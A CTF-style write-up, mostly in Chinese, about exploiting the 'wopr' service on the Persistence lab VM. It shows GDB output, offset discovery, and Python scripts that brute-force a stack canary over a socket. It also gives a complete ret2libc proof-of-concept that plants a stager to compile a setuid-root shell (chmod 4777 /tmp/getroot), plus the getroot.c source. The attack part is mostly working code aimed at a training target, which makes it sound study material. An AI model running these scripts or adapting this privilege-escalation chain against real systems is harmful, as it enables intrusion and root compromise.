   0x08048b14 <+822>:	mov    DWORD PTR [esp],eax
   0x08048b17 <+825>:	call   0x804864c <close@plt>
   0x08048b1c <+830>:	mov    DWORD PTR [esp+0x8],0x1
   0x08048b24 <+838>:	mov    DWORD PTR [esp+0x4],0x0
   0x08048b2c <+846>:	mov    DWORD PTR [esp],0xffffffff
   0x08048b33 <+853>:	call   0x804862c <waitpid@plt>
   0x08048b38 <+858>:	test   eax,eax
   0x08048b3a <+860>:	jg     0x8048b1c <main+830>
   0x08048b3c <+862>:	jmp    0x80489b1 <main+467>
End of assembler dump.

当有30个字符的时候,程序缓冲区溢出

image.png有了这些知识,几乎可以肯定地假设字节30是堆栈canary的起始位置。这意味着,如果我们想进一步破坏堆栈中的更多内存,我们需要找到一种方法来了解canary值。

但是,不要止步于此。我继续在输入中放置更多的A,直到在字节39中我注意到回溯中的41(A的十六进制)。到我有42个A的时候,回溯已经有一个完整的4字节的41。

image.png到目前为止,我们已经完成了调试工作,并假设堆栈布局看起来像这样:

    ------------------
    |                |
    |                |
    |     Buffer     |   x bytes
    |                |
    |                |
    ------------------
    |     Canary     |   4 bytes
    ------------------
    |  Base pointer  |   4 bytes
    ------------------
    | Return address |   4 bytes
    ------------------
    |       ...      |

好吧,让我们开始工作。为了找到所有必要的偏移量,我们将使用metasploit工具生成给定长度的字符的独特模式。这样,我们将能够找出给定字节中用于覆盖返回地址的确切位置。

image.pngimage.png找到偏移量

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q 0x33624132
[*] Exact match at offset 38

因此,在返回到返回地址之前,我们需要覆盖38个字节。另外,请记住金丝雀和基本指针。因此,我们有:

缓冲区(30字节)+canary(4字节)+基本指针(4字节)+返回地址(4字节)

找了个脚本猜测canary值(需要在靶机里面运行,下载下来的程序无法找到canary值)

import socket

# Guess canary
found = False
base_buffer = "A" * 30    # our buffer size is 30
for count in range(0,4):
  for i in ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']:
      for j in ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']:
          buffer = base_buffer + (i + j).decode('hex')

          sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          sock.connect(("localhost", 3333))
          data = sock.recv(1024)
          sock.send(buffer)
          data = sock.recv(1024)
          data = sock.recv(1024)
          if "bye" in data:
              print "\\x" + i + j
              base_buffer += (i + j).decode('hex')
              found = True
              break
          sock.close()
      if found:
          found = False
          break

import socket
import sys

payload = "A" * 30  # amount of bytes before the first canary bit is hit
canary = ""         # the canary

# start the canary brute loop. We want to brute 4 bytes ...
for x in xrange(1,5):

    # ... and try all possibilities
    for canary_byte in xrange(0, 256):

        # prepare the byte
        hex_byte = chr(canary_byte)

        # prepare the payload
        send = payload + canary + hex_byte

        print "[+] Trying: '\\x{0}' in payload '%s' (%d:%d/255)".format(hex_byte.encode("hex")) % (send, x, canary_byte)

        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect(('127.0.0.1', 3333))

        # get the inital banners
        sock.recv(35)   # [+] hello, my name is sploitable\n
        sock.recv(40)   # [+] would you like to play a game?\n
        sock.recv(5)    # >

        # send the payload
        sock.send(send)
        sock.recv(27)   # [+] yeah, I don't think so\n

        # if we have a OK response, then we will have this last part
        # as '[+] bye!\n' populated, if its wrong, not
        data =  sock.recv(64)   # [+] bye!\n
        if "bye" in data:
            print "[!!] Found a possible canary value of '{0}'!".format(hex_byte.encode("hex"))
            canary += hex_byte
            sock.close()
            break

        sock.close()

    # if we cant even find the first byte, we failed already
    if len(canary) <= 0:
        print "[-] Unable to even find the first bit. No luck"
        sys.exit(0)

if len(canary) > 0:
    print "[+] Canary seems to be {0}".format(canary.encode("hex"))
else:
    print "[-] Unable to brute canary"

image.png

如果您可以回忆起较早的内容,请wopr使用NX设置位进行编译。有效地,这意味着我们不能通过将EIP设置为简单地与负载一起发送的shellcode的开头来简单地利用此漏洞,因为堆栈是不可执行的。值得庆幸的是,这里有一个像ret2libc这样的概念。

ret2libc背后的想法是将应用程序流引导到libc本身内的有用命令,并以这种方式执行代码。system()由于几乎显而易见的原因,该命令是一个非常流行的功能。

我决定使用相同的方法。我迅速检查了是否在持久性VM上启用了ASLR:

image.png

在所有查找之间,链接文件的地址保持静态,表明未启用ASLR。这使事情稍微容易一些。因为这是32位操作系统,所以即使启用了它,也不会成为太大的问题:)

下一步是找出system()在libc中的位置。这也是很容易执行的步骤。一个有趣的笔记。GDB在命令中使用了SHELL env变量,由于我来自rbash,所以仍然将其设置为该变量。一个简单的export SHELL=/bin/bash修复它

image.png

我们system()在找到0xb7e56210。我之所以使用telnet二进制文件,仅仅是因为它也链接到libc。

因此,总结一下到目前为止,让我们再看一下发送漏洞利用负载时堆栈的外观:

- ->         - ->        [42 Bytes  in Total]        - ->           - >

[   A x 30   ] [  \xff\xff\xff\xff  ] [  AAAA  ] [  \x10\x62\xe5\xb7  ]
 ^~ Initial BF    ^~ Bruted cookie                    ^~ system()

- ->         - ->        [42 Bytes  in Total]        - ->           - >

下一步是使用来获取要执行的实际代码system()。尽管这听起来微不足道,但它也面临着挑战。在对此感到沮丧的同时,我必须意识到的关键事情之一是“要记住,您正在尝试使程序执行原本不希望做的事情,期望遇到困难!”。

我试图将命令放入环境变量中,但失败了。我试图编写ROP链,但失败了。

这些失败主要是由于自己缺乏理解,疲倦和沮丧。我的尝试通常是使脚本/tmp/runme运行。runme是一个bash脚本,它将编译一个小的C shell,更改所有权并设置suid位。

查看二进制文件的信息

image.png

我确认/tmp/log并没有真正使用它,然后将原始/tmp/runme脚本移到了那里。

现在剩下的唯一的事情是要找到字符串的位置/tmp/log

[root@localhost Desktop]# gdb -q ./wopr 
Reading symbols from /root/Desktop/wopr...(no debugging symbols found)...done.
gdb-peda$ b *main
Breakpoint 1 at 0x80487de
gdb-peda$ r
Starting program: /root/Desktop/./wopr 

[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0xf7fbf000 --> 0x1c6d88 
ECX: 0xa2daba1 
EDX: 0xffffd1b4 --> 0xf7fbf000 --> 0x1c6d88 
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd18c --> 0xf7e122a3 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
EIP: 0x80487de (<main>:	push   ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80487d7 <get_reply+99>:	call   0x804865c <__stack_chk_fail@plt>
   0x80487dc <get_reply+104>:	leave  
   0x80487dd <get_reply+105>:	ret    
=> 0x80487de <main>:	push   ebp
   0x80487df <main+1>:	mov    ebp,esp
   0x80487e1 <main+3>:	sub    esp,0x258
   0x80487e7 <main+9>:	mov    eax,DWORD PTR [ebp+0x8]
   0x80487ea <main+12>:	mov    DWORD PTR [ebp-0x23c],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd18c --> 0xf7e122a3 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
0004| 0xffffd190 --> 0x1 
0008| 0xffffd194 --> 0xffffd224 --> 0xffffd3b0 ("/root/Desktop/./wopr")
0012| 0xffffd198 --> 0xffffd22c --> 0xffffd3c5 ("XDG_VTNR=1")
0016| 0xffffd19c --> 0xf7fd86b0 --> 0x8048412 ("GLIBC_2.0")
0020| 0xffffd1a0 --> 0x1 
0024| 0xffffd1a4 --> 0x1 
0028| 0xffffd1a8 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080487de in main ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.i686
gdb-peda$ searchmem /tmp/log
Searching for '/tmp/log' in: None ranges
Found 2 results, display max 2 items:
wopr : 0x8048c60 ("/tmp/log")
wopr : 0x8049c60 ("/tmp/log")

/tmp/log可以在2个地方找到。让我们选择0x8048c60吧!现在,我们终于有了构建要发送的有效负载所需的一切。

wopr-漏洞利用

总结要利用这一点我们必须做的事情,我们可以说我们必须:

  • 提供大小为30的字符串
  • 提供canary值
  • 填充4个字节
  • 将EIP写入以下位置 system()
  • 提供4个字节的JUNK(或exit()作为返回的位置)
  • 提供位置 /tmp/log
.
               -- Current --                    -- Target --
    0000
             ------------------              ------------------
             |                |              |                |
             |                |              | AAAAAAAAAAAAAA |
       ^     |     Buffer     |   30 bytes   | AAAAAAAAAAAAAA |   Overflow buffer with dummy data
       |     |                |              | AAAAAAAAAAA... |
     stack   |                |              |                |
     growth  ------------------              ------------------
       |     |     Canary     |   4 bytes    |     Canary     |   Real canary, so we're not detected
       |     ------------------              ------------------
             |  Base pointer  |   4 bytes    |      BBBB      |   Dummy data to overwrite saved base pointer
             ------------------              ------------------
             | Return address |   4 bytes    |    system()    |   system() call
             ------------------              ------------------
             |                |              |     exit()     |   exit() which will be called upon returning from system()
             |  Rest of the   |              ------------------
             |     stack      |              |    /tmp/log    |   arguments to system() - our malicious program to run
             |                |              ------------------
             |      ...       |              |       ...      |
    FFFF

由于上述原因,在我的利用中,因此,我将发送类似于以下内容的有效负载:

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\xff\xff\xff\xff" + "AAAA" +"\x10\xc2\x16\x00" + "JUNK" + "\x60\x8c\x04\x08"

下面是poc脚本

import socket
import sys
import os

payload = "A" * 30  # amount of bytes to before the canary is hit
canary = ""     # canary that should update as its bruted

print """
            A: "So, I heard you like pain...?"
            B: "... a bit"
            C: "Well, here it is, the: "
 ____   ___  ____    _____ ____ _____ ______    ___  ____     __    ___
|    \ /  _]|    \  / ___/|    / ___/|      |  /  _]|    \   /  ]  /  _]
|  o  )  [_ |  D  )(   \_  |  (   \_ |      | /  [_ |  _  | /  /  /  [_
|   _/    _]|    /  \__  | |  |\__  ||_|  |_||    _]|  |  |/  /  |    _]
|  | |   [_ |    \  /  \ | |  |/  \ |  |  |  |   [_ |  |  /   \_ |   [_
|  | |     ||  .  \ \    | |  |\    |  |  |  |     ||  |  \     ||     |
|__| |_____||__|\_|  \___||____|\___|  |__|  |_____||__|__|\____||_____|
      _____ ____  _       ___  ____  ______
     / ___/|    \| |     /   \|    ||      |
    (   \_ |  o  ) |    |     ||  | |      |
     \__  ||   _/| |___ |  O  ||  | |_|  |_|
     /  \ ||  |  |     ||     ||  |   |  |
     \    ||  |  |     ||     ||  |   |  |
      \___||__|  |_____| \___/|____|  |__|

                A: "AKA: FU superkojiman && sagi- !!"
                A: "I also have no idea what I am doing"
"""

print "[+] Connecting & starting canary brute force..."

# start the canary brute loop. We want to brute 4 bytes ...
for x in xrange(1,5):

    # ... and try all possibilities
    for canary_byte in xrange(0, 256):

        # prepare the byte
        hex_byte = chr(canary_byte)

        # prepare the payload
        send = payload + canary + hex_byte

        # connect and send payload
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect(('127.0.0.1', 3333))

        # get the inital banners
        sock.recv(35)   # [+] hello, my name is sploitable\n
        sock.recv(40)   # [+] would you like to play a game?\n
        sock.recv(5)    # >

        # send the payload
        sock.send(send)
        sock.recv(27)   # [+] yeah, I don't think so\n

        # if we have a OK response, then we will have this last part
        # as '[+] bye!\n' populated, if its wrong, not
        data =  sock.recv(64)   # [+] bye!\n
        if "bye" in data:
            print "[+] Found a possible canary value of '{0}'!".format(hex_byte.encode("hex"))
            canary += hex_byte
            sock.close()
            break

        sock.close()
    # if we cant even find the first byte, we failed already
    if len(canary) <= 0:
        print "[-] Unable to even find the first bit of the canary. No luck"
        sys.exit(0)

# The canary is our ticket out of here!
if len(canary) == 4:

    print "[+] Canary known as : {0}".format(canary.encode("hex"))
    print "[+] Writing /tmp/log to be called by wopr later"

    # ./wopr has the string /tmp/log in it. We will use this as
    # our code exec point, overwriting whatever is in it atm
    stager = """
        #!/bin/sh

        # First, prepare a small C shell and move it to /tmp with name getroot
        echo "int main(void)\n{\nsetuid(0);\nsystem(\\"/bin/sh\\");\nreturn 0;\n}" > /tmp/getroot.c

        # compile it
        /usr/bin/gcc /tmp/getroot.c -o /tmp/getroot

        # change ownership and setuid
        /bin/chown root:root /tmp/getroot
        /bin/chmod 4777 /tmp/getroot
    """

    # write the file
    with open('/tmp/log','w') as stager_file:
        stager_file.write(stager)

    # make it executable
    os.chmod('/tmp/log', 0755)

    # now, with the stack canary known and the stager ready, lets corrupt
    # EIP and sploit!
    payload += canary               # canary we bruted
    payload += "A" * 4              # padding to EIP wich is at byte 42
    payload += "\x10\x62\xe5\xb7"   # system() @ 0xb7e56210, NULL is ok cause memcpy(). Recheck location of system in gdb incase the sploit fails.
    payload += "JUNK"               # JUNK. Should probably do exit() here. Meh.
    payload += "\x60\x8c\x04\x08"   # location if /tmp/log string in .data

    # and connect && send
    print "[+] Connecting to service"
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('127.0.0.1', 3333))
    sock.recv(35)
    sock.recv(40)
    sock.recv(5)
    print "[+] Sending Payload"
    sock.send(payload)

    sock.recv(64)
    sock.close()
    print "[+] Done"

    print "[+] going to try and spawn /tmp/getroot, assuming the sploit worked :)
 "
    os.system("/tmp/getroot")

else:
    print "[!] Incomplete Canary. Can't continue reliably"

# done

getroot.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
 
int main(void)
{
  setuid(0);
  setgid(0);
  system("/bin/bash");
  return 0;
}

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